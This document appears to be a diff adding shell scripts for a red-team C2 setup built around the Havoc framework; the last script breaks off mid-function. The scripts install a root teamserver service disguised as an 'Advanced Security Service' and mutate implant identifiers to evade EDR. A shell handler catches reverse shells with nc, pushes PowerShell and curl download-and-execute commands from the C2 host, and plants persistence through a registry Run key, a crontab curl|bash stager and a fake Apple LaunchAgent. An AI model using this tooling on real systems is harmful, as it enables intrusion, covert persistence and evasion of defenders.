Restructure in-progress
@@ -0,0 +1,234 @@
|
||||
#!/bin/bash
|
||||
# Enhanced Havoc C2 Framework installer optimized for Red Team Operations
|
||||
# This script installs and configures Havoc with EDR evasion features
|
||||
# The mutation features are applied BEFORE building to ensure proper compilation
|
||||
|
||||
set -e
|
||||
TEMP_DIR=$(mktemp -d)
|
||||
LOG_FILE="/root/Tools/havoc_installer.log"
|
||||
HAVOC_DIR="/root/Tools/Havoc"
|
||||
HAVOC_DATA_DIR="/root/Tools/Havoc/data"
|
||||
COMPILER_URL="http://musl.cc/x86_64-w64-mingw32-cross.tgz"
|
||||
COMPILER_DIR="/usr/bin/x86_64-w64-mingw32-cross"
|
||||
COMPILER_PATH="$COMPILER_DIR/bin/x86_64-w64-mingw32-gcc"
|
||||
IMPLANT_MUTATOR_SCRIPT="$HAVOC_DIR/implant_mutator.sh"
|
||||
HAVOC_GITHUB="https://github.com/HavocFramework/Havoc.git"
|
||||
|
||||
# Function to log messages
|
||||
log() {
|
||||
echo "[$(date +"%Y-%m-%d %H:%M:%S")] $1" | tee -a $LOG_FILE
|
||||
}
|
||||
|
||||
# Function to generate random strings
|
||||
random_string() {
|
||||
local length=${1:-16}
|
||||
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1
|
||||
}
|
||||
|
||||
# Generate random build ID for implant signature
|
||||
RANDOMIZED_BUILD_ID=$(random_string 16)
|
||||
|
||||
# Install required dependencies
|
||||
log "Installing dependencies..."
|
||||
apt-get update >/dev/null 2>&1
|
||||
apt-get install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev python3-dev libboost-all-dev mingw-w64 nasm >/dev/null 2>&1
|
||||
|
||||
# Fix for JSON dependency
|
||||
log "Installing nlohmann-json manually..."
|
||||
mkdir -p /tmp/json
|
||||
cd /tmp/json
|
||||
wget -q https://github.com/nlohmann/json/releases/download/v3.11.2/json.hpp
|
||||
mkdir -p /usr/include/nlohmann
|
||||
cp json.hpp /usr/include/nlohmann/
|
||||
cd - > /dev/null
|
||||
|
||||
# Setup Go environment
|
||||
log "Setting up Go environment..."
|
||||
mkdir -p /root/go
|
||||
export GOPATH=/root/go
|
||||
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin
|
||||
|
||||
# Download and install compiler fix
|
||||
log "Downloading and installing fixed compiler..."
|
||||
if [ ! -d "$COMPILER_DIR" ]; then
|
||||
# Download the compiler
|
||||
wget -q -O /tmp/compiler.tgz $COMPILER_URL
|
||||
|
||||
# Extract to /usr/bin
|
||||
tar -xzf /tmp/compiler.tgz -C /usr/bin
|
||||
|
||||
# Verify compiler exists
|
||||
if [ -f "$COMPILER_PATH" ]; then
|
||||
log "Compiler installed successfully at $COMPILER_PATH"
|
||||
chmod +x $COMPILER_PATH
|
||||
else
|
||||
log "Error: Compiler installation failed. File not found at $COMPILER_PATH"
|
||||
fi
|
||||
|
||||
# Clean up
|
||||
rm -f /tmp/compiler.tgz
|
||||
else
|
||||
log "Compiler already installed at $COMPILER_DIR"
|
||||
fi
|
||||
|
||||
# Clone Havoc repository
|
||||
log "Cloning Havoc repository..."
|
||||
if [ -d "$HAVOC_DIR" ]; then
|
||||
log "Havoc directory already exists, updating..."
|
||||
cd $HAVOC_DIR
|
||||
git pull
|
||||
else
|
||||
# Clone with proper GitHub URL
|
||||
git clone --quiet -b dev $HAVOC_GITHUB $HAVOC_DIR
|
||||
cd $HAVOC_DIR
|
||||
fi
|
||||
|
||||
# Create data directories
|
||||
mkdir -p $HAVOC_DATA_DIR
|
||||
mkdir -p $HAVOC_DIR/payloads
|
||||
mkdir -p $HAVOC_DIR/payloads/backup
|
||||
|
||||
# Initialize submodules
|
||||
log "Initializing submodules..."
|
||||
cd $HAVOC_DIR
|
||||
git submodule init
|
||||
git submodule update --recursive
|
||||
|
||||
# Create improved implant mutator script BEFORE building
|
||||
log "Creating implant mutator script..."
|
||||
cat > "$IMPLANT_MUTATOR_SCRIPT" << 'EOF'
|
||||
#!/bin/bash
|
||||
# === CONFIG ===
|
||||
IMPLANT_DIR="$HOME/Tools/havoc/payloads/Demon"
|
||||
SRC_DIR="$IMPLANT_DIR/src"
|
||||
BUILD_ROOT="$HOME/Tools/havoc"
|
||||
OUTPUT_FILE="$HOME/Tools/havoc/payloads/Shellcode.x64.bin"
|
||||
BACKUP_DIR="$HOME/Tools/havoc/payloads/backup"
|
||||
TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
|
||||
# === COLORS ===
|
||||
YELLOW='\033[1;33m'
|
||||
GREEN='\033[1;32m'
|
||||
NC='\033[0m'
|
||||
echo -e "${YELLOW}[+] Starting Havoc implant mutation...${NC}"
|
||||
# === 1. Backup Previous Shellcode ===
|
||||
mkdir -p "$BACKUP_DIR"
|
||||
if [[ -f "$OUTPUT_FILE" ]]; then
|
||||
cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw"
|
||||
echo -e "${GREEN}[*] Previous shellcode backed up to: implant_$TIMESTAMP.raw${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] No previous shellcode found to back up.${NC}"
|
||||
fi
|
||||
# === 2. Generate Random Identifiers ===
|
||||
random_str() {
|
||||
tr -dc A-Za-z0-9 </dev/urandom | head -c 12
|
||||
}
|
||||
UA=$(random_str)
|
||||
URI=$(random_str)
|
||||
PIPE=$(random_str)
|
||||
MUTEX=$(random_str)
|
||||
# === 3. Mutate TransportHttp.c ===
|
||||
THTTP="$SRC_DIR/core/TransportHttp.c"
|
||||
if [[ -f "$THTTP" ]]; then
|
||||
sed -i "s/User-Agent: .*/User-Agent: ${UA}\\r\\n\";/" "$THTTP"
|
||||
sed -i "s|/stage|/${URI}|g" "$THTTP"
|
||||
echo -e "${GREEN}[*] Replaced User-Agent with '${UA}' and URI path with '/${URI}'${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] TransportHttp.c not found. Skipping User-Agent/URI mutation.${NC}"
|
||||
fi
|
||||
# === 4. Mutate Named Pipe and Mutex ===
|
||||
TARGET_FILE=""
|
||||
for f in "$SRC_DIR/core/Runtime.c" "$SRC_DIR/main/MainExe.c"; do
|
||||
if [[ -f "$f" ]]; then
|
||||
TARGET_FILE="$f"
|
||||
break
|
||||
fi
|
||||
done
|
||||
if [[ -n "$TARGET_FILE" ]]; then
|
||||
sed -i "s|\\\\\\\\.\\\\pipe\\\\[a-zA-Z0-9_]*|\\\\\\\\.\\\\pipe\\\\${PIPE}|g" "$TARGET_FILE"
|
||||
sed -i "s|Mutex_[a-zA-Z0-9_]*|Mutex_${MUTEX}|g" "$TARGET_FILE"
|
||||
echo -e "${GREEN}[*] Randomized named pipe: \\\\.\\pipe\\${PIPE}${NC}"
|
||||
echo -e "${GREEN}[*] Randomized mutex: Mutex_${MUTEX}${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] No config file found to mutate mutex/pipe.${NC}"
|
||||
fi
|
||||
# === 5. Rebuild Implant via Top-Level Makefile ===
|
||||
echo -e "${YELLOW}[+] Rebuilding Havoc payload from top-level makefile...${NC}"
|
||||
cd "$BUILD_ROOT" || exit 1
|
||||
make clean && make
|
||||
# === 6. Confirm Shellcode Output ===
|
||||
if [[ -f "$OUTPUT_FILE" ]]; then
|
||||
echo -e "${GREEN}[+] Success! New shellcode generated: $OUTPUT_FILE${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] Build failed or shellcode was not generated.${NC}"
|
||||
exit 1
|
||||
fi
|
||||
EOF
|
||||
|
||||
chmod +x "$IMPLANT_MUTATOR_SCRIPT"
|
||||
|
||||
# Perform mutations BEFORE building - this is critical
|
||||
# log "Running implant mutations script before building..."
|
||||
# if [ -d "$HAVOC_DIR/payloads/Demon" ]; then
|
||||
# $IMPLANT_MUTATOR_SCRIPT
|
||||
# if [ $? -ne 0 ]; then
|
||||
# log "Warning: Implant mutation script ran with errors, but continuing build..."
|
||||
# fi
|
||||
# else
|
||||
# log "Skipping implant mutations as Demon directory not found yet. Will be applied after build."
|
||||
# fi
|
||||
|
||||
# Install additional Go dependencies for the teamserver
|
||||
log "Installing Go dependencies for teamserver..."
|
||||
cd $HAVOC_DIR/teamserver
|
||||
go mod download golang.org/x/sys
|
||||
cd $HAVOC_DIR
|
||||
|
||||
# Build Havoc using make - build teamserver first
|
||||
log "Building Havoc teamserver..."
|
||||
cd $HAVOC_DIR
|
||||
make ts-build
|
||||
|
||||
# Build Havoc client
|
||||
#log "Building Havoc client..."
|
||||
#make client-build
|
||||
|
||||
# Create systemd service for Havoc
|
||||
log "Creating systemd service for Havoc teamserver..."
|
||||
cat > /etc/systemd/system/havoc.service << EOF
|
||||
[Unit]
|
||||
Description=Advanced Security Service
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
User=root
|
||||
Group=root
|
||||
WorkingDirectory=$HAVOC_DIR/teamserver
|
||||
ExecStart=$HAVOC_DIR/havoc server -d
|
||||
Restart=always
|
||||
RestartSec=10
|
||||
|
||||
# Security measures
|
||||
PrivateTmp=true
|
||||
ProtectHome=false
|
||||
NoNewPrivileges=true
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
EOF
|
||||
|
||||
# Set proper permissions
|
||||
log "Setting proper permissions..."
|
||||
chmod -R 755 $HAVOC_DIR
|
||||
|
||||
# Create symlinks to executables in /usr/local/bin
|
||||
ln -sf $HAVOC_DIR/havoc /usr/local/bin/havoc
|
||||
ln -sf $IMPLANT_MUTATOR_SCRIPT /usr/local/bin/havoc-mutate
|
||||
|
||||
# Enable and start Havoc service
|
||||
log "Enabling and starting Havoc service..."
|
||||
systemctl daemon-reload
|
||||
systemctl enable havoc
|
||||
systemctl start havoc
|
||||
|
||||
log "Havoc C2 installation completed successfully!"
|
||||
@@ -0,0 +1,76 @@
|
||||
#!/bin/bash
|
||||
|
||||
# === CONFIG ===
|
||||
IMPLANT_DIR="$HOME/Tools/Havoc/payloads/Demon"
|
||||
SRC_DIR="$IMPLANT_DIR/src"
|
||||
BUILD_ROOT="$HOME/Tools/Havoc"
|
||||
OUTPUT_FILE="$HOME/Tools/Havoc/payloads/Shellcode.x64.bin"
|
||||
BACKUP_DIR="$HOME/Tools/Havoc/payloads/backup"
|
||||
TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
|
||||
|
||||
# === COLORS ===
|
||||
YELLOW='\033[1;33m'
|
||||
GREEN='\033[1;32m'
|
||||
NC='\033[0m'
|
||||
|
||||
echo -e "${YELLOW}[+] Starting Havoc implant mutation...${NC}"
|
||||
|
||||
# === 1. Backup Previous Shellcode ===
|
||||
mkdir -p "$BACKUP_DIR"
|
||||
if [[ -f "$OUTPUT_FILE" ]]; then
|
||||
cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw"
|
||||
echo -e "${GREEN}[*] Previous shellcode backed up to: implant_$TIMESTAMP.raw${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] No previous shellcode found to back up.${NC}"
|
||||
fi
|
||||
|
||||
# === 2. Generate Random Identifiers ===
|
||||
random_str() {
|
||||
tr -dc A-Za-z0-9 </dev/urandom | head -c 12
|
||||
}
|
||||
|
||||
UA=$(random_str)
|
||||
URI=$(random_str)
|
||||
PIPE=$(random_str)
|
||||
MUTEX=$(random_str)
|
||||
|
||||
# === 3. Mutate TransportHttp.c ===
|
||||
THTTP="$SRC_DIR/core/TransportHttp.c"
|
||||
if [[ -f "$THTTP" ]]; then
|
||||
sed -i "s/User-Agent: .*/User-Agent: ${UA}\\r\\n\";/" "$THTTP"
|
||||
sed -i "s|/stage|/${URI}|g" "$THTTP"
|
||||
echo -e "${GREEN}[*] Replaced User-Agent with '${UA}' and URI path with '/${URI}'${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] TransportHttp.c not found. Skipping User-Agent/URI mutation.${NC}"
|
||||
fi
|
||||
|
||||
# === 4. Mutate Named Pipe and Mutex ===
|
||||
TARGET_FILE=""
|
||||
for f in "$SRC_DIR/core/Runtime.c" "$SRC_DIR/main/MainExe.c"; do
|
||||
if [[ -f "$f" ]]; then
|
||||
TARGET_FILE="$f"
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
if [[ -n "$TARGET_FILE" ]]; then
|
||||
sed -i "s|\\\\\\\\.\\\\pipe\\\\[a-zA-Z0-9_]*|\\\\\\\\.\\\\pipe\\\\${PIPE}|g" "$TARGET_FILE"
|
||||
sed -i "s|Mutex_[a-zA-Z0-9_]*|Mutex_${MUTEX}|g" "$TARGET_FILE"
|
||||
echo -e "${GREEN}[*] Randomized named pipe: \\\\.\\pipe\\${PIPE}${NC}"
|
||||
echo -e "${GREEN}[*] Randomized mutex: Mutex_${MUTEX}${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] No config file found to mutate mutex/pipe.${NC}"
|
||||
fi
|
||||
|
||||
# === 5. Rebuild Implant via Top-Level Makefile ===
|
||||
echo -e "${YELLOW}[+] Rebuilding Havoc payload from top-level makefile...${NC}"
|
||||
cd "$BUILD_ROOT" || exit 1
|
||||
make clean && make
|
||||
|
||||
# === 6. Confirm Shellcode Output ===
|
||||
if [[ -f "$OUTPUT_FILE" ]]; then
|
||||
echo -e "${GREEN}[+] Success! New shellcode generated: $OUTPUT_FILE${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] Build failed or shellcode was not generated.${NC}"
|
||||
exit 1
|
||||
fi
|
||||
@@ -0,0 +1,218 @@
|
||||
#!/bin/bash
|
||||
# Automated shell handler for catching and upgrading shells to Havoc C2 agents
|
||||
|
||||
# Configuration
|
||||
LISTEN_PORT=4488
|
||||
C2_HOST="127.0.0.1" # This will be replaced by Ansible with actual C2 IP
|
||||
HAVOC_PORT=40056 # Havoc default Teamserver port
|
||||
HAVOC_USER="admin"
|
||||
HAVOC_DIR="/root/Tools/Havoc"
|
||||
WINDOWS_PAYLOAD="windows/agent_win.exe"
|
||||
LINUX_PAYLOAD="linux/agent_linux"
|
||||
|
||||
# Set secure permissions
|
||||
umask 077
|
||||
|
||||
# Logging function (minimal and encrypted)
|
||||
log() {
|
||||
local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
|
||||
local message="$1"
|
||||
echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /root/Tools/shell-handler/activity.log.enc
|
||||
}
|
||||
|
||||
# Detect OS function
|
||||
detect_os() {
|
||||
local connection=$1
|
||||
|
||||
# Send commands to determine OS
|
||||
echo "echo \$OSTYPE" > $connection
|
||||
sleep 1
|
||||
ostype=$(cat $connection | grep -i "linux\|darwin\|win")
|
||||
|
||||
if [[ $ostype == *"win"* ]]; then
|
||||
echo "windows"
|
||||
elif [[ $ostype == *"darwin"* ]]; then
|
||||
echo "macos"
|
||||
elif [[ $ostype == *"linux"* ]]; then
|
||||
echo "linux"
|
||||
else
|
||||
# Try Windows-specific command
|
||||
echo "ver" > $connection
|
||||
sleep 1
|
||||
winver=$(cat $connection | grep -i "microsoft windows")
|
||||
|
||||
if [[ -n "$winver" ]]; then
|
||||
echo "windows"
|
||||
else
|
||||
# Default to Linux if we can't determine
|
||||
echo "linux"
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
# Get Havoc password
|
||||
get_havoc_password() {
|
||||
# Extract password from Havoc profile
|
||||
HAVOC_PASS=$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)
|
||||
echo $HAVOC_PASS
|
||||
}
|
||||
|
||||
# Deploy appropriate Havoc agent based on OS
|
||||
deploy_agent() {
|
||||
local connection=$1
|
||||
local os_type=$2
|
||||
|
||||
log "Deploying Havoc agent for detected OS: $os_type"
|
||||
|
||||
# Get the latest payload paths from manifest
|
||||
local manifest="/root/Tools/Havoc/payloads/manifest.json"
|
||||
if [ -f "$manifest" ]; then
|
||||
if [ "$os_type" == "windows" ]; then
|
||||
WIN_EXE=$(jq -r '.windows_exe' "$manifest")
|
||||
PAYLOAD_PATH="/root/Tools/Havoc/payloads/windows/$WIN_EXE"
|
||||
elif [ "$os_type" == "linux" ]; then
|
||||
LINUX_BIN=$(jq -r '.linux_binary' "$manifest")
|
||||
PAYLOAD_PATH="/root/Tools/Havoc/payloads/linux/$LINUX_BIN"
|
||||
fi
|
||||
else
|
||||
# Use default paths if manifest doesn't exist
|
||||
if [ "$os_type" == "windows" ]; then
|
||||
PAYLOAD_PATH="/root/Tools/Havoc/payloads/windows/agent_win.exe"
|
||||
elif [ "$os_type" == "linux" ]; then
|
||||
PAYLOAD_PATH="/root/Tools/Havoc/payloads/linux/agent_linux"
|
||||
fi
|
||||
fi
|
||||
|
||||
case $os_type in
|
||||
windows)
|
||||
# Setup Python HTTP server for payload delivery
|
||||
mkdir -p /tmp/havoc_payloads
|
||||
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update.exe
|
||||
cd /tmp/havoc_payloads
|
||||
python3 -m http.server 8888 &
|
||||
HTTP_PID=$!
|
||||
|
||||
# Use PowerShell to download and execute
|
||||
echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile('http://$C2_HOST:8888/update.exe', \$env:TEMP+'\\update.exe'); Start-Process \$env:TEMP+'\\update.exe'" > $connection
|
||||
sleep 10
|
||||
|
||||
# Cleanup HTTP server
|
||||
kill $HTTP_PID
|
||||
;;
|
||||
linux)
|
||||
# Setup Python HTTP server for payload delivery
|
||||
mkdir -p /tmp/havoc_payloads
|
||||
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update
|
||||
chmod +x /tmp/havoc_payloads/update
|
||||
cd /tmp/havoc_payloads
|
||||
python3 -m http.server 8888 &
|
||||
HTTP_PID=$!
|
||||
|
||||
# Use curl to download and execute
|
||||
echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection
|
||||
sleep 10
|
||||
|
||||
# Cleanup HTTP server
|
||||
kill $HTTP_PID
|
||||
;;
|
||||
macos)
|
||||
# For macOS, we'll attempt to use the Linux payload
|
||||
mkdir -p /tmp/havoc_payloads
|
||||
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update
|
||||
chmod +x /tmp/havoc_payloads/update
|
||||
cd /tmp/havoc_payloads
|
||||
python3 -m http.server 8888 &
|
||||
HTTP_PID=$!
|
||||
|
||||
# Use curl to download and execute
|
||||
echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection
|
||||
sleep 10
|
||||
|
||||
# Cleanup HTTP server
|
||||
kill $HTTP_PID
|
||||
;;
|
||||
esac
|
||||
|
||||
log "Havoc agent deployment command sent"
|
||||
}
|
||||
|
||||
# Establish persistence based on OS
|
||||
establish_persistence() {
|
||||
local connection=$1
|
||||
local os_type=$2
|
||||
|
||||
log "Attempting to establish persistence on $os_type"
|
||||
|
||||
case $os_type in
|
||||
windows)
|
||||
# Windows persistence via registry run key
|
||||
echo "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d %TEMP%\\update.exe /f" > $connection
|
||||
;;
|
||||
linux)
|
||||
# Linux persistence via crontab
|
||||
echo "(crontab -l 2>/dev/null; echo '*/15 * * * * curl -s http://$C2_HOST:8443/linux_stager.sh | bash') | crontab -" > $connection
|
||||
;;
|
||||
macos)
|
||||
# macOS persistence via launch agent
|
||||
echo "mkdir -p ~/Library/LaunchAgents" > $connection
|
||||
echo "echo '<plist version=\"1.0\"><dict><key>Label</key><string>com.apple.software.update</string><key>ProgramArguments</key><array><string>bash</string><string>-c</string><string>curl -s http://$C2_HOST:8443/linux_stager.sh | bash</string></array><key>RunAtLoad</key><true/><key>StartInterval</key><integer>900</integer></dict></plist>' > ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
|
||||
echo "launchctl load ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
|
||||
;;
|
||||
esac
|
||||
|
||||
log "Persistence commands sent for $os_type"
|
||||
}
|
||||
|
||||
# Main shell handler loop
|
||||
handle_connections() {
|
||||
log "Shell handler started on port $LISTEN_PORT"
|
||||
|
||||
# Use mkfifo for bidirectional communication
|
||||
PIPE_PATH="/tmp/shell_handler_pipe"
|
||||
trap 'rm -f $PIPE_PATH' EXIT
|
||||
|
||||
while true; do
|
||||
# Clean up existing pipe
|
||||
rm -f $PIPE_PATH
|
||||
mkfifo $PIPE_PATH
|
||||
|
||||
log "Waiting for incoming connection..."
|
||||
nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
|
||||
NC_PID=$!
|
||||
|
||||
# Wait for connection to be established
|
||||
while ! grep -q . $PIPE_PATH.output 2>/dev/null; do
|
||||
sleep 1
|
||||
# Check if nc is still running
|
||||
if ! kill -0 $NC_PID 2>/dev/null; then
|
||||
log "Netcat process died, restarting..."
|
||||
rm -f $PIPE_PATH $PIPE_PATH.output
|
||||
continue 2 # Restart the outer loop
|
||||
fi
|
||||
done
|
||||
|
||||
log "Connection received, detecting OS..."
|
||||
DETECTED_OS=$(detect_os "$PIPE_PATH.output")
|
||||
log "Detected OS: $DETECTED_OS"
|
||||
|
||||
# Deploy Havoc agent
|
||||
deploy_agent "$PIPE_PATH" "$DETECTED_OS"
|
||||
sleep 5
|
||||
|
||||
# Establish persistence
|
||||
establish_persistence "$PIPE_PATH" "$DETECTED_OS"
|
||||
sleep 5
|
||||
|
||||
# Keep connection alive for manual operation if needed
|
||||
log "Havoc agent deployed, maintaining shell connection..."
|
||||
echo "echo 'Shell upgraded to Havoc agent. This connection will remain active for manual operation.'" > $PIPE_PATH
|
||||
|
||||
# Wait for connection to close
|
||||
wait $NC_PID
|
||||
log "Connection closed, cleaning up and restarting listener..."
|
||||
rm -f $PIPE_PATH.output
|
||||
done
|
||||
}
|
||||
|
||||
# Start the shell handler
|
||||
handle_connections
|
||||
@@ -0,0 +1,65 @@
|
||||
#!/bin/bash
|
||||
# === CONFIG ===
|
||||
IMPLANT_DIR="$HOME/Tools/havoc/payloads/Demon"
|
||||
SRC_DIR="$IMPLANT_DIR/src"
|
||||
BUILD_ROOT="$HOME/Tools/havoc"
|
||||
OUTPUT_FILE="$HOME/Tools/havoc/payloads/Shellcode.x64.bin"
|
||||
BACKUP_DIR="$HOME/Tools/havoc/payloads/backup"
|
||||
TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
|
||||
# === COLORS ===
|
||||
YELLOW='\033[1;33m'
|
||||
GREEN='\033[1;32m'
|
||||
NC='\033[0m'
|
||||
echo -e "${YELLOW}[+] Starting Havoc implant mutation...${NC}"
|
||||
# === 1. Backup Previous Shellcode ===
|
||||
mkdir -p "$BACKUP_DIR"
|
||||
if [[ -f "$OUTPUT_FILE" ]]; then
|
||||
cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw"
|
||||
echo -e "${GREEN}[*] Previous shellcode backed up to: implant_$TIMESTAMP.raw${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] No previous shellcode found to back up.${NC}"
|
||||
fi
|
||||
# === 2. Generate Random Identifiers ===
|
||||
random_str() {
|
||||
tr -dc A-Za-z0-9 </dev/urandom | head -c 12
|
||||
}
|
||||
UA=$(random_str)
|
||||
URI=$(random_str)
|
||||
PIPE=$(random_str)
|
||||
MUTEX=$(random_str)
|
||||
# === 3. Mutate TransportHttp.c ===
|
||||
THTTP="$SRC_DIR/core/TransportHttp.c"
|
||||
if [[ -f "$THTTP" ]]; then
|
||||
sed -i "s/User-Agent: .*/User-Agent: ${UA}\\r\\n\";/" "$THTTP"
|
||||
sed -i "s|/stage|/${URI}|g" "$THTTP"
|
||||
echo -e "${GREEN}[*] Replaced User-Agent with '${UA}' and URI path with '/${URI}'${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] TransportHttp.c not found. Skipping User-Agent/URI mutation.${NC}"
|
||||
fi
|
||||
# === 4. Mutate Named Pipe and Mutex ===
|
||||
TARGET_FILE=""
|
||||
for f in "$SRC_DIR/core/Runtime.c" "$SRC_DIR/main/MainExe.c"; do
|
||||
if [[ -f "$f" ]]; then
|
||||
TARGET_FILE="$f"
|
||||
break
|
||||
fi
|
||||
done
|
||||
if [[ -n "$TARGET_FILE" ]]; then
|
||||
sed -i "s|\\\\\\\\.\\\\pipe\\\\[a-zA-Z0-9_]*|\\\\\\\\.\\\\pipe\\\\${PIPE}|g" "$TARGET_FILE"
|
||||
sed -i "s|Mutex_[a-zA-Z0-9_]*|Mutex_${MUTEX}|g" "$TARGET_FILE"
|
||||
echo -e "${GREEN}[*] Randomized named pipe: \\\\.\\pipe\\${PIPE}${NC}"
|
||||
echo -e "${GREEN}[*] Randomized mutex: Mutex_${MUTEX}${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] No config file found to mutate mutex/pipe.${NC}"
|
||||
fi
|
||||
# === 5. Rebuild Implant via Top-Level Makefile ===
|
||||
echo -e "${YELLOW}[+] Rebuilding Havoc payload from top-level makefile...${NC}"
|
||||
cd "$BUILD_ROOT" || exit 1
|
||||
make clean && make
|
||||
# === 6. Confirm Shellcode Output ===
|
||||
if [[ -f "$OUTPUT_FILE" ]]; then
|
||||
echo -e "${GREEN}[+] Success! New shellcode generated: $OUTPUT_FILE${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] Build failed or shellcode was not generated.${NC}"
|
||||
exit 1
|
||||
fi
|
||||
@@ -0,0 +1,302 @@
|
||||
#!/bin/bash
|
||||
# post_install_c2.sh - Post-installation setup for C2 server
|
||||
|
||||
# ANSI color codes
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
RED='\033[0;31m'
|
||||
BLUE='\033[0;34m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
# Default settings
|
||||
DEBUG=false
|
||||
RUN_ON_REDIRECTOR=false
|
||||
|
||||
# Show usage information
|
||||
function show_usage() {
|
||||
echo "Usage: $0 [options]"
|
||||
echo ""
|
||||
echo "Options:"
|
||||
echo " -d, --debug Enable debug/verbose output"
|
||||
echo " -r, --run-on-redirector Run post-install script on redirector"
|
||||
echo " -h, --help Show this help message"
|
||||
echo ""
|
||||
}
|
||||
|
||||
# Process command line arguments
|
||||
while [[ $# -gt 0 ]]; do
|
||||
case $1 in
|
||||
-d|--debug)
|
||||
DEBUG=true
|
||||
shift
|
||||
;;
|
||||
-r|--run-on-redirector)
|
||||
RUN_ON_REDIRECTOR=true
|
||||
shift
|
||||
;;
|
||||
-h|--help)
|
||||
show_usage
|
||||
exit 0
|
||||
;;
|
||||
*)
|
||||
echo "Unknown option: $1"
|
||||
show_usage
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
# Debug function - only prints if DEBUG is true
|
||||
function debug() {
|
||||
if [ "$DEBUG" = true ]; then
|
||||
echo -e "${BLUE}[DEBUG] $1${NC}"
|
||||
fi
|
||||
}
|
||||
|
||||
echo -e "${BLUE}==================================================${NC}"
|
||||
echo -e "${BLUE} C2ingRed Post-Installation Setup - C2 Server ${NC}"
|
||||
echo -e "${BLUE}==================================================${NC}"
|
||||
|
||||
# Function to check if domain resolves to current IP
|
||||
check_dns() {
|
||||
domain=$1
|
||||
current_ip=$(curl -s ifconfig.me)
|
||||
resolved_ip=$(dig +short $domain)
|
||||
|
||||
debug "Checking DNS for $domain"
|
||||
debug "Current IP: $current_ip"
|
||||
debug "Resolved IP: $resolved_ip"
|
||||
|
||||
if [ "$resolved_ip" = "$current_ip" ]; then
|
||||
echo -e "${GREEN}DNS check passed for $domain!${NC}"
|
||||
return 0
|
||||
else
|
||||
echo -e "${YELLOW}DNS check failed for $domain${NC}"
|
||||
echo -e "Current IP: $current_ip"
|
||||
echo -e "Resolved IP: $resolved_ip or not set"
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to set up Let's Encrypt
|
||||
setup_letsencrypt() {
|
||||
domain=$1
|
||||
email=$2
|
||||
|
||||
echo -e "\n${BLUE}Setting up Let's Encrypt for $domain${NC}"
|
||||
debug "Domain: $domain, Email: $email"
|
||||
|
||||
# Stop Havoc service temporarily to free port 80
|
||||
systemctl stop havoc 2>/dev/null
|
||||
debug "Stopped Havoc service"
|
||||
|
||||
# Get certificate
|
||||
debug "Running certbot to obtain certificate"
|
||||
if [ "$DEBUG" = true ]; then
|
||||
certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive
|
||||
else
|
||||
certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive >/dev/null 2>&1
|
||||
fi
|
||||
|
||||
cert_result=$?
|
||||
debug "Certbot result code: $cert_result"
|
||||
|
||||
if [ $cert_result -eq 0 ]; then
|
||||
echo -e "${GREEN}Successfully obtained certificate for $domain${NC}"
|
||||
|
||||
# Configure applications to use the certificate if needed
|
||||
if [ -f "/etc/postfix/main.cf" ]; then
|
||||
debug "Updating Postfix configuration with new certificate"
|
||||
sed -i "s|^smtpd_tls_cert_file =.*|smtpd_tls_cert_file = /etc/letsencrypt/live/$domain/fullchain.pem|" /etc/postfix/main.cf
|
||||
sed -i "s|^smtpd_tls_key_file =.*|smtpd_tls_key_file = /etc/letsencrypt/live/$domain/privkey.pem|" /etc/postfix/main.cf
|
||||
fi
|
||||
|
||||
# Restart Havoc
|
